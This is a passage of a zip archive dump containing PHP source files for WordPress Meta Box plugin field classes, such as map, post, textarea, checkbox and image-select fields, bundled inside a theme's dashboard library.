			$wp_embed->return_false_on_fail = $temp;
		}

		if ( $not_available ) {
			$not_available = '<div class="rwmb-oembed-not-available">' . wp_kses_post( $not_available ) . '</div>';
		}
		$not_available = apply_filters( 'rwmb_oembed_not_available_string', $not_available );

		return $embed ? $embed : $not_available;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return parent::html( $meta, $field ) . sprintf(
			'<span class="spinner"></span>
			<div class="rwmb-embed-media">%s</div>',
			$meta ? self::get_embed( $meta, $field['not_available_string'] ) : ''
		);
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes['type'] = 'url';
		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return self::get_embed( $value, $field['not_available_string'] );
	}
}
PK     N\>ZSQ  Q  9  inc/dashboard/lib/meta-box/inc/fields/multiple-values.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * This class implements common methods used in fields which have multiple values
 * like checkbox list, autocomplete, etc.
 *
 * The difference when handling actions for these fields are the way they get/set
 * meta value. Briefly:
 * - If field is cloneable, value is saved as a single entry in the database
 * - Otherwise value is saved as multiple entries
 */
abstract class RWMB_Multiple_Values_Field extends RWMB_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field['multiple']   = true;
		$field['field_name'] = $field['id'];
		if ( ! $field['clone'] ) {
			$field['field_name'] .= '[]';
		}

		return $field;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $field['options'][ $value ];
	}
}
PK     N\X
  
  4  inc/dashboard/lib/meta-box/inc/fields/input-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The input list field which displays choices in a list of inputs.
 */
class RWMB_Input_List_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-input-list', RWMB_CSS_URL . 'input-list.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-input-list', 'path', RWMB_CSS_DIR . 'input-list.css' );
		wp_enqueue_script( 'rwmb-input-list', RWMB_JS_URL . 'input-list.js', [], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Input_List( $field, $meta );
		$output  = self::get_select_all_html( $field );
		$output .= sprintf(
			'<fieldset class="rwmb-input-list%s%s">',
			$field['collapse'] ? ' rwmb-collapse' : '',
			$field['inline'] ? ' rwmb-inline' : ''
		);
		$output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 );
		$output .= '</fieldset>';

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = RWMB_Input_Field::normalize( $field );
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'collapse'        => true,
			'inline'          => null,
			'select_all_none' => false,
		] );

		$field['flatten'] = $field['multiple'] ? $field['flatten'] : true;
		$field['inline']  = ! $field['multiple'] && ! isset( $field['inline'] ) ? true : $field['inline'];

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = RWMB_Input_Field::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}

	/**
	 * Get html for select all|none for multiple checkbox.
	 *
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function get_select_all_html( $field ) {
		if ( $field['multiple'] && $field['select_all_none'] ) {
			return sprintf( '<p class="rwmb-toggle-all-wrapper"><button class="rwmb-input-list-select-all-none button" data-name="%s">%s</button></p>', $field['id'], __( 'Toggle All', 'meta-box' ) );
		}
		return '';
	}
}
PK     N\ǐ7Z  Z  5  inc/dashboard/lib/meta-box/inc/fields/custom-html.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The custom HTML field which allows users to output any kind of content to the meta box.
 */
class RWMB_Custom_Html_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = ! empty( $field['std'] ) ? $field['std'] : '';
		if ( ! empty( $field['callback'] ) && is_callable( $field['callback'] ) ) {
			$html = call_user_func_array( $field['callback'], [ $meta, $field ] );
		}
		return $html;
	}
}
PK     N\iF	  	  6  inc/dashboard/lib/meta-box/inc/fields/image-select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image select field which behaves similar to the radio field but uses images as options.
 */
class RWMB_Image_Select_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-image-select', RWMB_CSS_URL . 'image-select.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-image-select', 'path', RWMB_CSS_DIR . 'image-select.css' );
		wp_enqueue_script( 'rwmb-image-select', RWMB_JS_URL . 'image-select.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html    = [];
		$meta    = (array) $meta;
		foreach ( $field['options'] as $value => $image ) {
			$attributes = self::get_attributes( $field, $value );
			$html[]     = sprintf(
				'<label class="rwmb-image-select"><img src="%s"><input %s%s></label>',
				$image,
				self::render_attributes( $attributes ),
				checked( in_array( $value, $meta ), true, false )
			);
		}

		return implode( ' ', $html );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                = parent::normalize( $field );
		$field['options']     = $field['options'] ?? [];
		$field['field_name'] .= $field['multiple'] ? '[]' : '';

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = parent::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value ? sprintf( '<img src="%s">', esc_url( $field['options'][ $value ] ) ) : '';
	}
}
PK     N\p  p  6  inc/dashboard/lib/meta-box/inc/fields/image-upload.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image upload field which allows users to drag and drop images.
 */
class RWMB_Image_Upload_Field extends RWMB_Image_Advanced_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		RWMB_File_Upload_Field::admin_enqueue_scripts();
		wp_enqueue_script( 'rwmb-image-upload', RWMB_JS_URL . 'image-upload.js', [ 'rwmb-file-upload', 'rwmb-image-advanced' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		return RWMB_File_Upload_Field::normalize( $field );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		RWMB_File_Upload_Field::print_templates();
	}
}
PK     N\]x    /  inc/dashboard/lib/meta-box/inc/fields/radio.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The radio field.
 */
class RWMB_Radio_Field extends RWMB_Input_List_Field {
	public static function normalize( $field ) {
		$field['multiple'] = false;
		$field             = parent::normalize( $field );

		return $field;
	}
}
PK     N\7sL  L  2  inc/dashboard/lib/meta-box/inc/fields/textarea.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The textarea field.
 */
class RWMB_Textarea_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, $meta );
		return sprintf(
			'<textarea %s>%s</textarea>',
			self::render_attributes( $attributes ),
			esc_textarea( $meta )
		);
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'autocomplete' => false,
			'cols'         => false,
			'rows'         => 3,
			'maxlength'    => false,
			'minlength'    => false,
			'wrap'         => false,
			'readonly'     => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'autocomplete' => $field['autocomplete'],
			'cols'         => $field['cols'],
			'rows'         => $field['rows'],
			'maxlength'    => $field['maxlength'],
			'minlength'    => $field['minlength'],
			'wrap'         => $field['wrap'],
			'readonly'     => $field['readonly'],
			'placeholder'  => $field['placeholder'],
		] );

		return $attributes;
	}
}
PK     N\,l  l  -  inc/dashboard/lib/meta-box/inc/fields/map.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Google Maps field.
 */
class RWMB_Map_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-map', RWMB_CSS_URL . 'map.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-map', 'path', RWMB_CSS_DIR . 'map.css' );

		$args            = func_get_args();
		$field           = $args[0];
		$google_maps_url = add_query_arg( [
			'key'       => $field['api_key'],
			'language'  => $field['language'],
			'libraries' => 'places',
		], 'https://maps.google.com/maps/api/js' );

		/**
		 * Allows developers load more libraries via a filter.
		 * @link https://developers.google.com/maps/documentation/javascript/libraries
		 */
		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );

		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true );
		wp_enqueue_script( 'rwmb-map', RWMB_JS_URL . 'map.js', [ 'jquery-ui-autocomplete', 'google-maps' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-map', 'RWMB_Map', [
			'no_results_string' => __( 'No results found', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
		$html    = sprintf(
			'<div class="rwmb-map-field" data-address-field="%s">',
			esc_attr( $address )
		);

		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'hidden';
		$attributes['value'] = $meta;

		$html .= sprintf(
			'<div class="rwmb-map-canvas" data-default-loc="%s" data-region="%s"></div>
			<input %s>',
			esc_attr( $field['std'] ),
			esc_attr( $field['region'] ),
			self::render_attributes( $attributes )
		);

		$html .= '</div>';

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'           => '',
			'address_field' => '',
			'language'      => '',
			'region'        => '',

			// Default API key, required by Google Maps since June 2016.
			// Users should overwrite this key with their own key.
			'api_key'       => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Array(latitude, longitude, zoom)
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );

		if ( is_array( $value ) ) {
			$location = [];
			foreach ( $value as $clone ) {
				list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' );
				$location[]                            = compact( 'latitude', 'longitude', 'zoom' );
			}
			return $location;
		}

		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
		return compact( 'latitude', 'longitude', 'zoom' );
	}

	/**
	 * Format value before render map
	 * @param mixed $field
	 * @param mixed $value
	 * @param mixed $args
	 * @param mixed $post_id
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ): string {
		$args = wp_parse_args( $args, [
			'api_key' => $field['api_key'] ?? '',
		] );
		return self::render_map( $value, $args );
	}

	/**
	 * Render a map in the frontend.
	 *
	 * @param string $location The "latitude,longitude[,zoom]" location.
	 * @param array  $args     Additional arguments for the map.
	 *
	 * @return string
	 */
	public static function render_map( $location, $args = [] ) {
        // For compatibility with previous version, or within groups.
		if ( is_string( $location ) ) {
			list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
		} else {
			extract( $location );
		}

        if ( ! $latitude || ! $longitude ) {
            return '';
        }

		$args = wp_parse_args( $args, [
			'latitude'     => $latitude,
			'longitude'    => $longitude,
			'width'        => '100%',
			'height'       => '480px',
			'marker'       => true, // Display marker?
			'marker_title' => '', // Marker title, when hover.
			'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
			'js_options'   => [],
			'zoom'         => $zoom,

			// Default API key, required by Google Maps since June 2016.
			// Users should overwrite this key with their own key.
			'api_key'      => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
		] );

		$google_maps_url = add_query_arg( 'key', $args['api_key'], 'https://maps.google.com/maps/api/js' );

		/*
		 * Allows developers load more libraries via a filter.
		 * @link https://developers.google.com/maps/documentation/javascript/libraries
		 */
		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );
		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true );
		wp_enqueue_script( 'rwmb-map-frontend', RWMB_JS_URL . 'map-frontend.js', [ 'google-maps', 'jquery' ], RWMB_VER, true );

		/*
		 * Google Maps options.
		 * Option name is the same as specified in Google Maps documentation.
		 * This array will be convert to Javascript Object and pass as map options.
		 * @link https://developers.google.com/maps/documentation/javascript/reference
		 */
		$args['js_options'] = wp_parse_args( $args['js_options'], [
			// Default to 'zoom' level set in admin, but can be overwritten.
			'zoom'           => $args['zoom'],

			// Map type, see https://developers.google.com/maps/documentation/javascript/reference#MapTypeId.
			'mapTypeId'      => 'ROADMAP',

			// Open Info Window
			'openInfoWindow' => false,
		] );

		$output = sprintf(
			'<div class="rwmb-map-canvas" data-map_options="%s" style="width:%s;height:%s"></div>',
			esc_attr( wp_json_encode( $args ) ),
			esc_attr( $args['width'] ),
			esc_attr( $args['height'] )
		);
		return $output;
	}
}
PK     N\Zf
a  a  1  inc/dashboard/lib/meta-box/inc/fields/divider.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The divider field which displays a simple horizontal line.
 */
class RWMB_Divider_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-divider', RWMB_CSS_URL . 'divider.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-divider', 'path', RWMB_CSS_DIR . 'divider.css' );
	}

	protected static function begin_html( array $field ) : string {
		$attributes = empty( $field['id'] ) ? '' : " id='{$field['id']}'";
		return "<hr$attributes>";
	}

	public static function end_html( array $field ) : string {
		return '';
	}
}
PK     N\r%Y    2  inc/dashboard/lib/meta-box/inc/fields/checkbox.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The checkbox field.
 */
class RWMB_Checkbox_Field extends RWMB_Input_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, 1 );
		$output     = sprintf(
			'<input %s %s>',
			self::render_attributes( $attributes ),
			checked( ! empty( $meta ), 1, false )
		);
		if ( $field['desc'] ) {
			$output = "<label id='{$field['id']}_description' class='description'>$output {$field['desc']}</label>";
		}
		return $output;
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value ? __( 'Yes', 'meta-box' ) : __( 'No', 'meta-box' );
	}
}
PK     N\>1    5  inc/dashboard/lib/meta-box/inc/fields/select-tree.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The select tree field.
 */
class RWMB_Select_Tree_Field extends RWMB_Select_Advanced_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Select_Tree( $field, $meta );
		return $options ? $walker->walk( $options ) : '';
	}

	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-select-tree', RWMB_CSS_URL . 'select-tree.css', [ 'rwmb-select' ], RWMB_VER );
		wp_style_add_data( 'rwmb-select-tree', 'path', RWMB_CSS_DIR . 'select-tree.css' );
		wp_enqueue_script( 'rwmb-select-tree', RWMB_JS_URL . 'select-tree.js', [ 'rwmb-select' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['multiple'] = true;
		$field['size']     = 0;
		$field             = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes             = parent::get_attributes( $field, $value );
		$attributes['multiple'] = false;
		$attributes['id']       = false;

		return $attributes;
	}
}
PK     N\{n  n  .  inc/dashboard/lib/meta-box/inc/fields/post.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The post field which allows users to select existing posts.
 */
class RWMB_Post_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_posts', [ __CLASS__, 'ajax_get_posts' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_posts', [ __CLASS__, 'ajax_get_posts' ] );
	}

	public static function ajax_get_posts() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$field['query_args']['s'] = $request->filter_post( 'term' );

		// Pagination.
		if ( 'query:append' === $request->filter_post( '_type' ) ) {
			$field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_posts', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		$limit = (int) $field['query_args']['posts_per_page'];
		if ( -1 !== $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

		wp_send_json_success( $data );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'post_type'  => 'post',
			'parent'     => false,
			'query_args' => [],
		] );

		$field['post_type'] = (array) $field['post_type'];

		/*
		 * Set default placeholder:
		 * - If multiple post types: show 'Select a post'.
		 * - If single post type: show 'Select a %post_type_name%'.
		 */
		$placeholder = __( 'Select a post', 'meta-box' );
		if ( 1 === count( $field['post_type'] ) ) {
			$post_type        = reset( $field['post_type'] );
			$post_type_object = get_post_type_object( $post_type );
			if ( ! empty( $post_type_object ) ) {
				// Translators: %s is the post singular label.
				$placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $post_type_object->labels->singular_name ) );
			}
		}
		$field = wp_parse_args( $field, [
			'placeholder' => $placeholder,
		] );

		// Set parent option, which will change field name to `parent_id` to save as post parent.
		if ( $field['parent'] ) {
			$field['multiple']   = false;
			$field['field_name'] = 'parent_id';
		}

		$field = parent::normalize( $field );

		// Set default query args.
		$posts_per_page      = $field['ajax'] ? 10 : -1;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'post_type'      => $field['post_type'],
			'post_status'    => 'publish',
			'posts_per_page' => $posts_per_page,
		] );

		parent::set_ajax_params( $field );

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$args = wp_parse_args( $field['query_args'], [
			'no_found_rows'          => true,
			'update_post_meta_cache' => false,
			'update_post_term_cache' => false,
			'mb_field_id'            => $field['id'],
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['posts_per_page'] = count( $meta );
			$args['post__in']       = $meta;
		}

		// Get from cache to prevent same queries.
		$last_changed = wp_cache_get_last_changed( 'posts' );
		$key          = md5( serialize( $args ) );
		$cache_key    = "$key:$last_changed";
		$options      = wp_cache_get( $cache_key, 'meta-box-post-field' );

		if ( false !== $options ) {
			return $options;
		}

		// Only search by title.
		add_filter( 'posts_search', [ __CLASS__, 'search_by_title' ], 10, 2 );
		$query = new WP_Query( $args );
		remove_filter( 'posts_search', [ __CLASS__, 'search_by_title' ] );

		$options = [];
		foreach ( $query->posts as $post ) {
			$label                = $post->post_title ? $post->post_title : __( '(No title)', 'meta-box' );
			$label                = self::filter( 'choice_label', $label, $field, $post );
			$options[ $post->ID ] = [
				'value'  => $post->ID,
				'label'  => $label,
				'parent' => $post->post_parent,
			];
		}

		// Cache the query.
		wp_cache_set( $cache_key, $options, 'meta-box-post-field' );

		return $options;
	}

	/**
	 * Only search posts by title.
	 * WordPress searches by either title or content which is confused when users can't find their posts.
	 *
	 * @link https://developer.wordpress.org/reference/hooks/posts_search/
	 */
	public static function search_by_title( $search, $wp_query ) {
		global $wpdb;
		if ( empty( $search ) ) {
			return $search;
		}
		$q      = $wp_query->query_vars;
		$n      = ! empty( $q['exact'] ) ? '' : '%';
		$search = [];
		foreach ( (array) $q['search_terms'] as $term ) {
			$term     = esc_sql( $wpdb->esc_like( $term ) );
			$search[] = "($wpdb->posts.post_title LIKE '{$n}{$term}{$n}')";
		}
		if ( empty( $search ) ) {
			return $search;
		}
		$search = ' AND (' . implode( ' AND ', $search ) . ') ';
		if ( ! is_user_logged_in() ) {
			$search .= " AND ($wpdb->posts.post_password = '') ";
		}
		return $search;
	}

	/**
	 * Get meta value.
	 * If field is cloneable, value is saved as a single entry in DB.
	 * Otherwise value is saved as multiple entries (for backward compatibility).
	 *
	 * @see "save" method for better understanding
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Is the meta box saved.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		return $field['parent'] ? wp_get_post_parent_id( $post_id ) : parent::meta( $post_id, $saved, $field );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array $field   Field parameters.
	 * @param int   $value   The value.
	 * @param array $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param ?int  $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link = $args['link'] ?? 'view';
		$text = get_the_title( $value );

		if ( false === $link ) {
			return $text;
		}
		$url = get_permalink( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_post_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), wp_kses_post( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return '';
		}

		if ( 1 !== count( $field['post_type'] ) ) {
			return '';
		}

		$post_type = reset( $field['post_type'] );
		if ( ! post_type_exists( $post_type ) ) {
			return '';
		}

		$post_type_object = get_post_type_object( $post_type );

		return sprintf(
			'<a href="#" class="rwmb-post-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( $post_type === 'post' ? 'post-new.php' : 'post-new.php?post_type=' . $post_type ),
			esc_html( $post_type_object->labels->add_new_item )
		);
	}
}
PK     N\O    4  inc/dashboard/lib/meta-box/inc/fields/file-input.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The file input field which allows users to enter a file URL or select it from the Media Library.
 */
class RWMB_File_Input_Field extends RWMB_Input_Field {
	/**
	 * Enqueue scripts and styles.
	 */
	public static function admin_enqueue_scripts() {
		wp_enqueue_media();
		wp_enqueue_style( 'rwmb-file-input', RWMB_CSS_URL . 'file-input.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-file-input', 'path', RWMB_CSS_DIR . 'file-input.css' );
		wp_enqueue_script( 'rwmb-file-input', RWMB_JS_URL . 'file-input.js', [ 'jquery' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-file-input', 'rwmbFileInput', [
			'frameTitle' => esc_html__( 'Select File', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, $meta );
		$meta_array = explode( '.', $meta );
		$file_ext   = strtolower( end( $meta_array ) );
		$extensions = [ 'jpeg', 'jpg', 'png', 'gif' ];
		return sprintf(
			'<div class="rwmb-file-input-image %s">
				<img src="%s">
			</div>
			<div class="rwmb-file-input-inner">
				<input %s>
				<a href="#" class="rwmb-file-input-select button">%s</a>
				<a href="#" class="rwmb-file-input-remove button %s">%s</a>
			</div>',
			in_array( $file_ext, $extensions, true ) ? '' : 'rwmb-file-input-hidden',
			$meta,
			self::render_attributes( $attributes ),
			esc_html__( 'Select', 'meta-box' ),
			$meta ? '' : 'hidden',
			esc_html__( 'Remove', 'meta-box' )
		);
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes['type'] = 'text';

		return $attributes;
	}
}
PK     N\en    1  inc/dashboard/lib/meta-box/inc/fields/heading.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The heading field which displays a simple heading text.
 */
class RWMB_Heading_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-heading', RWMB_CSS_URL . 'heading.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-heading', 'path', RWMB_CSS_DIR . 'heading.css' );
	}

	protected static function begin_html( array $field ) : string {
		$attributes = empty( $field['id'] ) ? '' : " id='{$field['id']}'";
		return sprintf( '<h4%s>%s</h4>', $attributes, $field['name'] );
	}

	protected static function end_html( array $field ) : string {
		return self::input_description( $field );
	}
}
PK     N\v
	  	  1  inc/dashboard/lib/meta-box/inc/fields/wysiwyg.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The WYSIWYG (editor) field.
 */
class RWMB_Wysiwyg_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_editor();
		wp_enqueue_style( 'rwmb-wysiwyg', RWMB_CSS_URL . 'wysiwyg.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-wysiwyg', 'path', RWMB_CSS_DIR . 'wysiwyg.css' );
		wp_enqueue_script( 'rwmb-wysiwyg', RWMB_JS_URL . 'wysiwyg.js', [ 'jquery', 'rwmb' ], RWMB_VER, true );
	}

	/**
	 * Change field value on save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		return $field['raw'] ? $new : wpautop( $new );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		// Using output buffering because wp_editor() echos directly.
